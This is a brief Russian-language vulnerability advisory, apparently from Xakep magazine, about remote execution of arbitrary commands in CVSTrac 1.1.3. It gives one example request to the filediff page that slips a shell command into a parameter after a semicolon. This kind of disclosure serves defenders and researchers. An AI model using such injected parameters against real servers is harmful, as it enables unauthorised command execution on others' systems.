Удаленное выполнение произвольных команд в CVSTrac

Рекомендуем почитать:

Xakep #305. Multi-Step SQLi

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: CVSTrac 1.1.3 

Уязвимость в CVSTrac позволяет удаленному пользователю выполнить произвольные команды на целевой системе. 

Пример: 

filediff?f=CVSROOT/rcsinfo &v1=1.1&v2=1.2;w;